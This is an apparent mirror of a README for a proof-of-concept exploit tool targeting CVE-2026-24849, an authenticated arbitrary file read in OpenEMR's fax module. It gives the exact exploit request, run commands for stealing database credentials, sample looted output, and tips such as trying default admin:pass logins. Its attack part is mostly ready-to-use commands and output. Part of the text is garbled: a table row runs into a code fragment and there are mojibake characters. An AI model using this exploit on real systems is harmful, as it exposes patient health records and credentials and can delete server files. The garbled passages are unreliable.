Share
## https://sploitus.com/exploit?id=B89B9C6A-46E4-5543-976C-1B968B942D25
# CVE-2026-24849  OpenEMR Authenticated Arbitrary File Read (EtherFax `disposeDoc`)

Proof-of-concept exploit for **CVE-2026-24849**, an authenticated path-traversal / arbitrary file read in OpenEMR's Fax/SMS (EtherFax) module. Any authenticated user  regardless of privilege level  can read arbitrary files from the server filesystem as the web-server user (database credentials, patient documents/PHI, `/etc/passwd`, โ€ฆ).

| | |
|---|---|
| **CVE** | CVE-2026-24849 |
| **Vulnerability** | Path Traversal / Arbitrary File Read (CWE-22) |
| **Component** | `EtherFaxActions::disposeDoc()`  `interface/modules/custom_modules/oe-module-faxsms` |
| **Affected** | OpenEMR `getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // โš  deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}
```

The handler is reached through the module dispatcher with an **absolute path** in `file_path` (no `../` traversal needed):

```
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download
```

## Impact

A low-privilege (or default) account becomes a full server-side file-read primitive:

- **Database credentials**  `sites/default/sqlconf.php`
- **Patient records / PHI**  anything under `sites//documents/`, even when that directory is `Deny from all` in `.htaccess` (the read happens on disk, bypassing Apache)
- **System files**  `/etc/passwd`, application source, keys/tokens readable by the web user

> ### โš ๏ธ Destructive behaviour
> `disposeDoc()` calls `unlink($where)` **after** reading the file. Reading a file the web-server user is allowed to delete **will remove it**. Target **root-owned** files (e.g. `/etc/passwd`, `sqlconf.php` on most installs)  their parent directory isn't writable by the web user, so the `unlink()` fails and the file survives. Be deliberate about what you point this at.

## Prerequisites

- Valid OpenEMR credentials (any privilege level  default `admin:pass` often works).
- The **Fax/SMS module enabled** with **EtherFax** selected as the fax provider. No real EtherFax account/credentials are required  the file read happens before any external API call.

---

## Requirements

- Python 3.6+
- [`requests`](https://pypi.org/project/requests/)

```bash
pip3 install requests
```

## Installation

```bash
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
```

## Usage

Run it with no arguments and it will **prompt for everything it needs**:

```bash
python3 CVE-2026-24849.py
```

Or drive it non-interactively with flags:

```bash
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
```

### Options

| Flag | Description | Default |
|---|---|---|
| `-t`, `--target` | Base URL, e.g. `http://10.10.10.10` | *prompted* |
| `-u`, `--user` | OpenEMR username | `admin` |
| `-P`, `--password` | OpenEMR password | *prompted (hidden)* |
| `-s`, `--site` | OpenEMR site id | `default` |
| `-f`, `--file` | Absolute path of the remote file to read | *interactive loop if omitted* |
| `-o`, `--output` | Save the looted file locally instead of printing |  |

If `-f` is omitted, the tool drops into an **interactive read loop** so you can pull multiple files from one session.

### Example

```text
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------
```

### How it works

1. Logs in with `requests`, keeping the session in its own cookie jar (avoids the browser session-ID rotation that makes copied cookies go stale).
2. Confirms access by reading a safe, root-owned probe file  cleanly distinguishing *bad credentials* vs *module not enabled* vs *success*.
3. Sends the `disposeDoc` read request, auto-trying both `disposeDoc` and `disposeDocument` (the method name differs across affected minor versions).

---

## Remediation

- **Upgrade to OpenEMR 7.0.4 or later.** The fix canonicalizes the path, confines it to an allowed directory, and adds a real authorization check.
- Change default credentials and enforce a first-login password reset.
- Keep secrets and patient documents **outside the webroot**; don't rely on `.htaccess` as the only control.

## Disclaimer

This tool is provided for **authorized security testing and educational purposes only**. Only use it against systems you own or have explicit, written permission to test. The author accepts no liability for misuse or for any damage caused by this software. Note the destructive `unlink()` behaviour described above.

## References

- GitHub Security Advisory: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
- Vendor: https://www.open-emr.org/

## Author

`doany1`

## License

MIT  see [`LICENSE`](LICENSE).